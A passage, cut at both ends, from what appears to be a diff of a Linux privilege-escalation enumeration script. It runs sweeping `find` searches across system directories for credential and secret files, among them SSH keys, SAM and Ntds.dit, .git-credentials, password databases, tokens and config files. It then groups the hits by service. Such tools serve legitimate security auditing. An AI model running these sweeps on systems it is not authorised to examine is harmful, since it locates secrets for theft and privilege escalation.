\"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"agent*\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_USR=`eval_bckgrd "find /usr -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"ssh*config\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_VAR=`eval_bckgrd "find /var -name \"cesi.conf\" -o -name \"kadm5.acl\" -o -name \"scclient.exe\" -o -name \"*.timer\" -o -name \".vault-token\" -o -name \"appcmd.exe\" -o -name \"rktlet.sock\" -o -name \"*.gpg\" -o -name \"fastcgi_params\" -o -name \"zabbix_agentd.conf\" -o -name \".profile\" -o -name \"rocketchat.service\" -o -name \".env\" -o -name \"nginx.conf\" -o -name \"setupinfo\" -o -name \"sess_*\" -o -name \"pwd.ibd\" -o -name \"SecEvent.Evt\" -o -name \"access.log\" -o -name \"drives.xml\" -o -name \"passbolt.php\" -o -name \"glusterfs.key\" -o -name \"*.swp\" -o -name \"dockershim.sock\" -o -name \"AppEvent.Evt\" -o -name \"https-xampp.conf\" -o -name \"*vnc*.c*nf*\" -o -name \"security.sav\" -o -name \".k5login\" -o -name \"redis.conf\" -o -name \"*.socket\" -o -name \"default.sav\" -o -name \"crio.sock\" -o -name \"rsyncd.conf\" -o -name \"unattend.xml\" -o -name \"*vnc*.ini\" -o -name \"passwd.ibd\" -o -name \"mariadb.cnf\" -o -name \"*.crt\" -o -name \"server.xml\" -o -name \"elasticsearch.y*ml\" -o -name \"racoon.conf\" -o -name \"postgresql.conf\" -o -name \"containerd.sock\" -o -name \"*password*\" -o -name \"error.log\" -o -name \"autologin.conf\" -o -name \"debian.cnf\" -o -name \"setupinfo.bak\" -o -name \"*.keyring\" -o -name \".wgetrc\" -o -name \"unattend.txt\" -o -name \"*.keytab\" -o -name \".lesshst\" -o -name \"gitlab.yml\" -o -name \"recentservers.xml\" -o -name \"ddclient.conf\" -o -name \"log4j-core*.jar\" -o -name \"*.ovpn\" -o -name \"frakti.sock\" -o -name \".plan\" -o -name \"kcpassword\" -o -name \"*.jks\" -o -name \"authorized_hosts\" -o -name \"wcx_ftp.ini\" -o -name \"filezilla.xml\" -o -name \"docker.socket\" -o -name \"zabbix_server.conf\" -o -name \".bashrc\" -o -name \".secrets.mkey\" -o -name \"my.ini\" -o -name \"*.sqlite3\" -o -name \".pypirc\" -o -name \"sites.ini\" -o -name \"krb5.conf\" -o -name \".sudo_as_admin_successful\" -o -name \"unattend.inf\" -o -name \"id_dsa*\" -o -name \"*.key\" -o -name \"anaconda-ks.cfg\" -o -name \"*.kdbx\" -o -name \"pagefile.sys\" -o -name \".erlang.cookie\" -o -name \"*config*.php\" -o -name \"printers.xml\" -o -name \"KeePass.config*\" -o -name \"*credential*\" -o -name \"ConsoleHost_history.txt\" -o -name \"creds*\" -o -name \"php.ini\" -o -name \"sitemanager.xml\" -o -name \"software.sav\" -o -name \"https.conf\" -o -name \".rhosts\" -o -name \"sysprep.xml\" -o -name \"unattended.xml\" -o -name \"KeePass.enforced*\" -o -name \".ldaprc\" -o -name \"pgsql.conf\" -o -name \"sssd.conf\" -o -name \"*vnc*.txt\" -o -name \"*_history*\" -o -name \"*.pfx\" -o -name \"my.cnf\" -o -name \"*.psk\" -o -name \"ntuser.dat\" -o -name \"bash.exe\" -o -name \"hostapd.conf\" -o -name \"mongod*.conf\" -o -name \"000-default.conf\" -o -name \"iis6.log\" -o -name \"Ntds.dit\" -o -name \"protecteduserkey.bin\" -o -name \"ftp.config\" -o -name \"*.sqlite\" -o -name \"mosquitto.conf\" -o -name \"cloud.cfg\" -o -name \"software\" -o -name \"wsl.exe\" -o -name \"ffftp.ini\" -o -name \"ipsec.conf\" -o -name \"passwd\" -o -name \"id_rsa*\" -o -name \"psk.txt\" -o -name \".htpasswd\" -o -name \"*.db\" -o -name \"groups.xml\" -o -name \"SAM\" -o -name \"password*.ibd\" -o -name \"ftp.ini\" -o -name \"supervisord.conf\" -o -name \"*.p12\" -o -name \"*.gnupg\" -o -name \".recently-used.xbel\" -o -name \"*.pem\" -o -name \"legacy_credentials.db\" -o -name \"docker.sock\" -o -name \"access_tokens.db\" -o -name \"pgadmin*.db\" -o -name \"ipsec.secrets\" -o -name \"gitlab.rm\" -o -name \"jetty-realm.properties\" -o -name \"access_tokens.json\" -o -name \"authorized_keys\" -o -name \"SYSTEM\" -o -name \"sentry.conf.py\" -o -name \"kibana.y*ml\" -o -name \"database.php\" -o -name \"hosts.equiv\" -o -name \"AzureRMContext.json\" -o -name \"*.cer\" -o -name \".msmtprc\" -o -name \".gitconfig\" -o -name \"influxdb.conf\" -o -name \"system.sav\" -o -name \"*.rdg\" -o -name \"web*.config\" -o -name \"NetSetup.log\" -o -name \"accessTokens.json\" -o -name \"Dockerfile\" -o -name \"*.keystore\" -o -name \"RDCMan.settings\" -o -name \"backups\" -o -name \"vault-ssh-helper.hcl\" -o -name \"datasources.xml\" -o -name \"index.dat\" -o -name \"scheduledtasks.xml\" -o -name \"*.pgp\" -o -name \".github\" -o -name \"TokenCache.dat\" -o -name \"glusterfs.ca\" -o -name \"known_hosts\" -o -name \".git-credentials\" -o -name \"winscp.ini\" -o -name \"ws_ftp.ini\" -o -name \"wp-config.php\" -o -name \"*.csr\" -o -name \"secrets.yml\" -o -name \"storage.php\" -o -name \"*.viminfo\" -o -name \"*.der\" -o -name \"pg_hba.conf\" -o -name \"backup\" -o -name \"FreeSSHDservice.ini\" -o -name \"docker-compose.yml\" -o -name \"autologin\" -o -name \"secrets.ldb\" -o -name \"gvm-tools.conf\" -o -name \"*.service\" -o -name \"snmpd.conf\" -o -name \"settings.php\" -o -name \"tomcat-users.xml\" -o -name \"*.ftpconfig\" -o -name \"KeePass.ini\" -o -name \"config.php\" -o -name \"*vnc*.xml\" -o -name \".google_authenticator\" -o -name \"db.php\" -o -name \"sysprep.inf\" -o -name \"httpd.conf\" -o -name \".git\" -o -name \"credentials.db\" -o -name \"glusterfs.pem\" -o -name \"azureProfile.json\" -o -name \"rsyncd.secrets\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CONCOURSE_AUTH=`eval_bckgrd "find /concourse-auth -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + FIND_CONCOURSE_KEYS=`eval_bckgrd "find /concourse-keys -name \"*.timer\" -o -name \"*.service\" -o -name \"*.socket\" 2>/dev/null | sort; printf \\\$YELLOW'. '\\\$NC 1>&2;"` + + + wait # Always wait at the end + CONT_THREADS=0 #Reset the threads counter +fi + +if [ "$SEARCH_IN_FOLDER" ] || echo $CHECKS | grep -q procs_crons_timers_srvcs_sockets || echo $CHECKS | grep -q software_information || echo $CHECKS | grep -q interesting_files; then #GENERATE THE STORAGES OF THE FOUND FILES - PSTORAGE_SYSTEMD=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/lib|^/system|^/snap|^/systemd|^/opt|^/sbin|^/tmp|^/lib32|^/media|^/usr|^/lib64|^$GREPHOMESEARCH|^/.cache|^/cdrom|^/sys|^/applications|^/run|^/mnt|^/var|^/private|^/etc|^/bin|^/srv" | grep -E ".*\.service$" | sort | uniq | head -n 70) - PSTORAGE_TIMER=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/lib|^/system|^/snap|^/systemd|^/opt|^/sbin|^/tmp|^/lib32|^/media|^/usr|^/lib64|^$GREPHOMESEARCH|^/.cache|^/cdrom|^/sys|^/applications|^/run|^/mnt|^/var|^/private|^/etc|^/bin|^/srv" | grep -E ".*\.timer$" | sort | uniq | head -n 70) - PSTORAGE_SOCKET=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/lib|^/system|^/snap|^/systemd|^/opt|^/sbin|^/tmp|^/lib32|^/media|^/usr|^/lib64|^$GREPHOMESEARCH|^/.cache|^/cdrom|^/sys|^/applications|^/run|^/mnt|^/var|^/private|^/etc|^/bin|^/srv" | grep -E ".*\.socket$" | sort | uniq | head -n 70) - PSTORAGE_DBUS=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/etc" | grep -E "system\.d$" | sort | uniq | head -n 70) - PSTORAGE_MYSQL=$(echo -e "$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -v -E 'mysql/mysql' | grep -E '^/etc/.*mysql|/usr/var/lib/.*mysql|/var/lib/.*mysql' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "mysql$" | sort | uniq | head -n 70) - PSTORAGE_MARIADB=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "mariadb\.cnf$|debian\.cnf$" | sort | uniq | head -n 70) - PSTORAGE_POSTGRESQL=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "pgadmin.*\.db$|pg_hba\.conf$|postgresql\.conf$|pgsql\.conf$" | sort | uniq | head -n 70) - PSTORAGE_APACHE=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32\n$FIND_DIR_MNT\n$FIND_DIR_CACHE\n$FIND_DIR_OPT\n$FIND_DIR_CDROM\n$FIND_DIR_SBIN\n$FIND_DIR_SNAP\n$FIND_DIR_SRV\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_PRIVATE\n$FIND_DIR_USR\n$FIND_DIR_TMP\n$FIND_DIR_VAR\n$FIND_DIR_ETC\n$FIND_DIR_MEDIA\n$FIND_DIR_BIN\n$FIND_DIR_HOMESEARCH" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "sites-enabled$|000-default\.conf$|php\.ini$" | sort | uniq | head -n 70) - PSTORAGE_PHP_SESSIONS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E '/tmp/.*sess_.*|/var/tmp/.*sess_.*' | grep -E "^/tmp|^/mnt|^/var|^/private" | grep -E "sess_.*$" | sort | uniq | head -n 70) - PSTORAGE_PHP_FILES=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E ".*config.*\.php$|database\.php$|db\.php$|storage\.php$|settings\.php$" | sort | uniq | head -n 70) - PSTORAGE_WORDPRESS=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "wp-config\.php$" | sort | uniq | head -n 70) - PSTORAGE_DRUPAL=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E '/default/settings.php' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "settings\.php$" | sort | uniq | head -n 70) - PSTORAGE_MOODLE=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E 'moodle/config.php' | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "config\.php$" | sort | uniq | head -n 70) - PSTORAGE_TOMCAT=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "tomcat-users\.xml$" | sort | uniq | head -n 70) - PSTORAGE_MONGO=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/private|^/etc|^/media|^/applications|^/snap|^/bin|^/usr|^/mnt|^/var|^/opt|^/sbin|^/cdrom|^/srv|^$GREPHOMESEARCH|^/.cache" | grep -E "mongod.*\.conf$" | sort | uniq | head -n 70) - PSTORAGE_ROCKETCHAT=$(echo -e "$FIND_SYSTEMD\n$FIND_SBIN\n$FIND_ETC\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_VAR\n$FIND_TMP\n$FIND_USR\n$FIND_BIN\n$FIND_PRIVATE\n$FIND_LIB64\n$FIND_RUN\n$FIND_OPT\n$FIND_SNAP\n$FIND_CACHE\n$FIND_CDROM\n$FIND_HOMESEARCH\n$FIND_SRV\n$FIND_LIB\n$FIND_SYS\n$FIND_MNT\n$FIND_APPLICATIONS\n$FIND_LIB32" | grep -E "^/tmp|^/lib|^/private|^/applications|^/etc|^/systemd|^/media|^/bin|^/snap|^/usr|^/mnt|^/var|^/opt|^/sbin|^/.cache|^/srv|^$GREPHOMESEARCH|^/cdrom" | grep -E "rocketchat\.service$" | sort | uniq | head -n 70) - PSTORAGE_SUPERVISORD=$(echo -e 